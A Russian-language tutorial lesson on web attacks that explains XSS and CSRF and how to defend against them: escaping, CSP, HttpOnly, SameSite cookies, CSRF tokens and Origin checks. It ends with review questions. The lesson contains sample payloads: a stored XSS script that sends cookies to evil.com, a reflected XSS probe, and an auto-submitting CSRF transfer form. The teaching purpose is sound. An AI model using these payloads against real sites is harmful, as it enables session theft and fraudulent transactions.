XSS, CSRF и другие распространённые атаки
XSS, CSRF и другие распространённые атаки
CORS и CSP — защитные механизмы. Чтобы понять, зачем они нужны, разберём две главные атаки на веб-приложения: XSS (внедрение скрипта) и CSRF (подделка запроса). Каждый разработчик должен понимать, как они работают и как от них защищаться.
XSS: внедрение скрипта
XSS (Cross-Site Scripting) — атака, при которой злоумышленник внедряет JavaScript-код на страницу, которую видят другие пользователи. Атака возможна, когда сайт вставляет пользовательские данные в HTML без экранирования.
Хранимая (stored) XSS. Данные сохраняются в базу, а потом выводятся всем пользователям:
1. Злоумышленник оставляет комментарий:
"Отличный пост! <script>fetch('https://evil.com/?cookie=' + document.cookie)</script>"
2. Комментарий сохраняется в базу данных «как есть».
3. Каждый, кто открывает страницу, получает этот скрипт.
Браузер выполняет его — куки сессии утекают на evil.com.
Отражённая (reflected) XSS. Данные приходят в URL и сразу отражаются в ответе:
GET /search?q=<script>alert('XSS')</script>
Сервер выводит: «Результат поиска для: <script>alert('XSS')</script>»
Скрипт выполняется в браузере жертвы, перешедшей по ссылке.
Защита от XSS:
- Экранирование. Все пользовательские данные перед вставкой в HTML прогоняются через функцию экранирования:
<→<,>→>,"→". Современные фреймворки (React, Vue) делают это автоматически. - CSP.
script-src 'self'блокирует инлайн-скрипты — даже если злоумышленник вставил<script>, он не выполнится. - HttpOnly cookies. Сессионная cookie с флагом
HttpOnlyне видна JavaScript (document.cookie) — даже при успешном XSS украсть её нельзя.
CSRF: подделка запроса
CSRF (Cross-Site Request Forgery) эксплуатирует доверие, а не внедрение кода. Злоумышленник заставляет браузер жертвы отправить запрос к сайту, где жертва аутентифицирована:
1. Иван залогинен на bank.com (в браузере есть сессионная cookie).
2. Злоумышленник заманивает Ивана на evil.com, где есть форма:
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker"/>
<input type="hidden" name="amount" value="10000"/>
</form>
<script>document.forms[0].submit();</script>
3. Браузер Ивана отправляет POST /transfer с cookies для bank.com.
Сервер видит валидную сессию и выполняет перевод.
Браузер автоматически прикрепляет cookies к запросу к bank.com, даже если инициатор запроса — evil.com. Это ключевая особенность HTTP: сессионная cookie не привязана к инициирующему сайту.
Защита от CSRF:
1. SameSite cookie. Современная и основная защита. Кука с SameSite=Lax (значение по умолчанию в современных браузерах) не отправляется с POST-запросов, инициированных с другого сайта:
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax
SameSite=Strict — ещё строже: кука не отправляется даже при переходе по ссылке с другого сайта (пользователь всегда начинает без сессии). SameSite=Lax — компромисс: кука отправляется с навигацией (GET), но не с AJAX-запросов.
2. CSRF-токен. Сервер генерирует случайный токен, встраивает его в форму и проверяет при отправке:
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="r4nd0m_t0k3n"/>
...
</form>
Сервер проверяет, что csrf_token из формы совпадает с выданным в сессии. Злоумышленник на evil.com не может прочитать токен (SOP блокирует чтение страниц bank.com).
3. Проверка Origin/Referer. Сервер проверяет заголовок Origin, убеждаясь, что запрос пришёл с правильного сайта.
Другие атаки (краткий обзор)
Clickjacking. Злоумышленник встраивает сайт жертвы в прозрачный iframe поверх своей страницы. Пользователь думает, что кликает по кнопке игры, а на самом деле — по кнопке «Перевести деньги». Защита: X-Frame-Options: DENY или CSP frame-ancestors 'none'.
SQL Injection. Внедрение SQL-кода через данные формы. Не относится к HTTP напрямую, но частая атака. Защита: параметризованные запросы ($1, ?), никогда не склеивать SQL-строки с пользовательским вводом.
Проверь себя
- Чем Stored XSS отличается от Reflected XSS?
- Почему SameSite=Lax защищает от CSRF?
- Какой флаг cookie защищает от кражи сессии через XSS?
- Stored XSS сохраняется в базу данных и атакует всех посетителей страницы. Reflected XSS приходит в URL и атакует только того, кто перешёл по специальной ссылке.
- SameSite=Lax не отправляет cookie с POST-запросами, инициированными с другого сайта (AJAX, форма). CSRF использует именно такие запросы — они перестают работать.
- HttpOnly. JavaScript не может прочитать cookie с этим флагом (
document.cookieеё не видит). Даже если XSS удался, сессионную cookie украсть нельзя.
Что унести с урока
- XSS — внедрение скрипта через неэкранированные данные. Защита: экранирование + CSP + HttpOnly.
- CSRF — подделка запроса с cookie жертвы. Защита: SameSite cookie + CSRF-токен + проверка Origin.
- SameSite=Lax — минимальная и обязательная защита от CSRF для всех сессионных cookie.
- Clickjacking, SQL Injection — дополнительные векторы, требующие отдельных средств защиты.
В следующем уроке разберём аутентификацию — как токены и cookies на практике обеспечивают безопасный вход в приложение.